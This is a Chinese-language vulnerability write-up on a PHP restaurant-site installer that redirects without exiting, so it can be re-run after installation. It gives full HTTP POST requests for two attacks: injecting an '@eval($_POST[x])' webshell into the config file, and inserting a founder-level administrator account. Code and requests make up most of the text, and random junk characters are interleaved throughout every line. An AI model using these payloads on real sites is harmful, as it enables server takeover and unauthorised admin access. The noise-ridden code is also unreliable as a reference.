问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。( z3 l% C9 z3 \/ _* _' N0 H) S; F8 k
5 p' c4 N: W6 J/ F! |
<?php8 H, C5 X) ~( a0 F- S& A
if(file_exists("../install.lock"))
5 \! O1 d/ ]1 m: q& O{& T! V, {" k4 G8 v, B0 t9 x( G
header("Location: ../");//没有退出* q% z h+ Q( A* [
}
7 M5 V$ I0 s2 ]
) a* O- C( D4 E ?# A: c$ u//echo 'tst';exit;8 X+ R6 k3 N$ d2 ~$ {( s
require_once("init.php");# l( }6 Q% V8 v6 D
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)- n& o/ u Y6 R ? C
{2 j' P2 y: @) j$ f
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。9 o! @6 h# {: \ A% h
* n" x- x, v# L( |! i5 Y1、getshell(很危险)
2 K5 g* o6 b3 r4 M# X( X# Mif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
3 v/ h1 g* o6 Y" k4 h{! n/ y+ x1 g/ L; j' b
$smarty->assign("step",1);) g+ U3 g" O( S) K1 n3 S7 e
$smarty->display("index.html");
; y! m) @( x" L7 x% K2 e}elseif($_REQUEST['step']==2)7 S4 Q" ~& Q2 ]* i2 y1 g. w
{ L" [; a9 G3 u) Q1 Z
$mysql_host=trim($_POST['mysql_host']);- s5 @* E$ ^6 E I
$mysql_user=trim($_POST['mysql_user']);" H; E! N% g* Y- a) m/ b
$mysql_pwd=trim($_POST['mysql_pwd']);4 f3 C. R- R/ P0 n& v+ T3 M
$mysql_db=trim($_POST['mysql_db']);
; H! a6 R0 ] ?- x5 y/ m $tblpre=trim($_POST['tblpre']);
+ |% W1 ~8 m1 C2 L4 { $domain==trim($_POST['domain']);
) y. x5 B! r& h' `- K% V" `: J% L $str="<?php \r\n";
|, X2 O) v; X) Z! ~ $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
$ _5 U9 \& w. \' B! r k# @: L $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
0 D# O) k/ Q- a2 W, X1 f1 p d $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
9 c, k- e; i) }% p! @, z4 y [3 o $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
3 E/ E) \% E1 r9 J, a $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
1 k4 C" D! B+ B# n8 b% I0 Z' o $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";3 |& K3 }% {3 Q- D
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
# D; u4 [! m: r8 F G% a& u0 I6 [- Q/ n $str.='define("SKINS","default");'."\r\n";
3 d2 H! U6 v+ X0 c $str.='?>';
; \& D# Z; v1 _1 I( i* T i2 F4 ` file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
/ G Y# \, t% T$ |- }# N' C上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马) G/ m0 z9 P1 k% e3 z9 ?
POST /canting/install/index.php?m=index&step=2 HTTP/1.18 Z" d: T1 C1 `2 c5 F% F
Host: 192.168.80.129
* S# d) k+ ^4 T2 ^; s- J7 IUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 [# D/ w& L8 S. ^
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Q0 N4 b( Y, G! V" a5 CAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- H- f, h4 T* x1 z* C
Accept-Encoding: gzip, deflate
j! g& a P( t) [' SReferer: http://192.168.80.129/canting/install/index.php?step=1' T# z) w/ d7 B) w( M/ S$ q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( ^& O5 r( T! j- [9 F3 j _# DContent-Type: application/x-www-form-urlencoded! E3 o* _8 X3 w0 s. Q
Content-Length: 1266 f' v1 M/ J+ L
4 ~# Y2 ?; |. @1 rmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD$ A6 v3 {9 }( z; n7 B) R
但是这个方法很危险,将导致网站无法运行。8 {. k# U- d' R. c2 S0 R( m
& Y' n# n( Z$ D) h5 U2、直接添加管理员' f5 E6 r8 M: d0 Y6 v$ l& |0 s
+ @6 N$ K* I3 D! \7 ~0 velseif($_REQUEST['step']==5)( D5 f5 u& ^/ i: u. ^) g
{
& t2 @8 F' B, t0 A if($_POST)3 w$ e7 j& Q/ M, `1 i- g
{ require_once("../config/config.inc.php");
' \8 S" W. V) ~0 Y9 z $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);1 p% S9 v6 F+ d/ T- O( m
mysql_select_db(MYSQL_DB,$link);
$ K$ t' K! h& L+ Z% C8 n2 y mysql_query("SET NAMES ".MYSQL_CHARSET );
/ C8 H$ S8 e) N( {7 B k9 p mysql_query("SET sql_mode=''");3 j& }0 k$ m. A3 _- j
( r( m5 p; @) a $adminname=trim($_POST['adminname']);, @# x) ~. R& }2 o& m- v
$pwd1=trim($_POST['pwd1']);' Q# J# P7 o* j5 l
$pwd2=trim($_POST['pwd2']);
% S. X7 t3 j6 g if(empty($adminname))
; d( ~" v4 d% \( u/ y! ^ {# \% q( \) Z/ [5 K. d2 ~
- S. u# s& q* R4 d) j
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
7 J! W$ t/ z: `+ ~* P) h exit();
& U$ v) _' F6 @/ ~1 O: L9 ` }" Z9 c2 w$ M3 \0 W
if(($pwd1!=$pwd2) or empty($pwd1))
& }7 G9 x0 j: v {! C) f2 R+ W* l4 J$ h9 J
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出7 C1 }- R& q7 T# Y& i
}0 H# x* ]5 o/ @* b- Z9 Y
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员7 z4 P4 N$ j3 {4 {
}
! a5 t N E! o这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
. @8 B" M& ]: L6 f* H6 xPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
3 ~8 s7 \& H( u0 qHost: 192.168.80.129
5 O" f5 y/ i6 {& a$ p, vUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.04 i% Z! c7 J. Z, u
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8- @4 h' ^) A; t2 F- D5 u
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# x' |8 {5 f- i6 |8 I; |8 }Accept-Encoding: gzip, deflate! V6 b4 z/ l5 s/ N8 _3 k( h
Referer: http://www.2cto.com /canting/install/index.php?step=1
F) G$ J" n e1 JCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42/ p. @6 k0 [! K/ T# m$ Q+ `
Content-Type: application/x-www-form-urlencoded
% B) U* k/ u5 vContent-Length: 46
' [0 Q3 O4 j! D) Y & ^1 O' a& A. T4 j
adminname=qingshen&pwd1=qingshen&pwd2=qingshen- \3 Y8 U8 D2 Z6 S& I. g
|